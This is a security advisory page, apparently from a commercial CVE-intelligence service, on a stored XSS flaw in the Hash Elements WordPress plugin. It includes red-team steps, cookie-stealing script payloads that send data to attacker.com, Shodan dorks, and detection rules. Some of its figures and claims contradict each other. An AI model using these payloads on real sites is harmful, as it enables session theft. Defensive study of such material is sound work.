☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Hashthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22296

CVE-2025-22296 Cross-Site Scripting in Hashthemes
📅 PUBLISHED: 2025-01-07 17:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22296 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Hash Elements plugin for WordPress, developed by Hashthemes. This plugin is used to add various content elements and widgets to WordPress sites. The vulnerability affects all versions up to and including 1.5.0. It stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users.

As a WordPress plugin vulnerability, this issue is particularly dangerous because it can be exploited without authentication (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L). An attacker can inject arbitrary JavaScript, HTML, or other client-side code into vulnerable pages, leading to session hijacking, defacement, or redirection to malicious sites. The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but the risk remains significant for unpatched sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. There is no NPM, PyPI, Go, or Ruby package involved. The supply chain risk is limited to the plugin's update mechanism; users must manually update or rely on automatic updates if enabled. No known malicious packages or compromised distribution channels have been identified.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None – The attacker does not need to be authenticated.
  • User Interaction (UI): Required – The victim must click on a crafted link or visit a page containing the injected script.
  • Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., cookies, session tokens).
  • Confidentiality (C): Low – Limited information disclosure is possible.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of WordPress make this a significant concern for site administrators. The requirement for user interaction reduces the immediate risk, but combined with social engineering, it can be highly effective.

Deep Dive & Mechanics

The vulnerability is a Stored XSS in the Hash Elements plugin. The plugin likely processes user input (e.g., via shortcodes, widget settings, or custom fields) without proper sanitization or output encoding. When this input is later rendered on a page, it is executed as HTML/JavaScript.

Root Cause: The plugin fails to neutralize input during web page generation. Specifically, it does not escape or validate data before inserting it into the DOM. This allows an attacker to inject arbitrary scripts.

Attack Flow:

  1. An attacker identifies a vulnerable input field (e.g., a shortcode parameter, a widget title, or a custom CSS class).
  2. The attacker submits a payload like <script>alert('XSS')</script> or a more sophisticated payload to steal cookies.
  3. The payload is stored in the WordPress database.
  4. When an administrator or visitor loads the page containing the injected data, the script executes in their browser.
  5. The attacker can then perform actions such as session hijacking, defacement, or phishing.

Affected Components: The vulnerability is present in the hash-elements plugin, specifically in versions <= 1.5.0. The exact file and function are not publicly disclosed, but it likely involves shortcode handlers or widget rendering functions.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

function hash_elements_shortcode($atts) {
    $title = $atts['title'];
    return "<h2>$title</h2>";
}

Patched Code (PHP):

function hash_elements_shortcode($atts) {
    $title = esc_html($atts['title']);
    return "<h2>$title</h2>";
}

The patched version uses esc_html() to encode HTML entities, preventing script execution. Alternatively, wp_kses() could be used to allow only safe HTML tags.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site with Hash Elements plugin version <= 1.5.0.
  • A user role that can edit posts/pages (e.g., Author or higher) or a vulnerable shortcode that accepts user input.

Exploitation Steps:

  1. Identify Vulnerable Input: Look for shortcodes like [hash_element title="..."] or widget fields that accept user input.
  2. Craft Payload: Use a standard XSS payload, e.g., <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>.
  3. Inject Payload: Insert the payload into the vulnerable field (e.g., via the WordPress editor or a custom field).
  4. Trigger Execution: Visit the page where the payload is stored. The script executes in the browser of any user viewing the page.
  5. Exfiltrate Data: The attacker's server receives the victim's cookies or other sensitive data.

Example Payload:

<script>fetch('http://attacker.com/steal?data='+document.cookie)</script>

Blue Team (Defensive)

Detection:

  • Monitor for unusual shortcode parameters or widget inputs containing <script> tags.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.
  • Review server logs for requests to suspicious external domains.

Prevention:

  • Disable the Hash Elements plugin until a patch is available.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use WordPress security plugins (e.g., Wordfence) to block malicious inputs.

Lab Setup:

  1. Install a local WordPress instance (e.g., using XAMPP or Docker).
  2. Install Hash Elements plugin version 1.5.0.
  3. Create a test page with a vulnerable shortcode.
  4. Inject the XSS payload and observe the behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown or suspicious domains containing cookie data.
    • Requests to URLs with patterns like /steal.php?cookie=... or /collect?data=....
  • File IOCs:
    • Modified WordPress database entries in wp_posts or wp_postmeta containing <script> tags.
    • Presence of JavaScript files in the uploads directory that are not part of the original plugin.
  • Log IOCs:
    • Server logs showing POST requests to wp-admin/admin-ajax.php with unusual parameters.
    • Error logs containing eval() or document.write() calls.

Detection Engineering

YARA Rule

rule CVE_2025_22296_Hash_Elements_XSS {
    meta:
        description = "Detects stored XSS payloads in Hash Elements plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22296"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $plugin = "hash-elements" nocase
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: CVE-2025-22296 Hash Elements Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts against Hash Elements plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'hash-elements'
        cs-uri-query|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22296 Hash Elements Stored XSS Attempt"; flow:to_server,established; content:"hash-elements"; http_uri; content:"<script"; http_client_body; nocase; content:"onerror"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: Deactivate and delete the Hash Elements plugin until an official patch is released.
  2. Update: If a patch becomes available, update to the latest version immediately.
  3. Scan for Compromise: Use a security scanner (e.g., Wordfence, Sucuri) to check for injected scripts in the database.

Long-Term Mitigations:

  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce Content Security Policy (CSP) headers to block inline scripts.
  • Regularly update all WordPress plugins and themes.
  • Use the principle of least privilege for user roles.

Workaround:

  • If the plugin is critical, consider manually patching the vulnerable code by adding esc_html() or wp_kses() to all output functions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/hash-elements"
http.html:"hash-elements" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22296/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.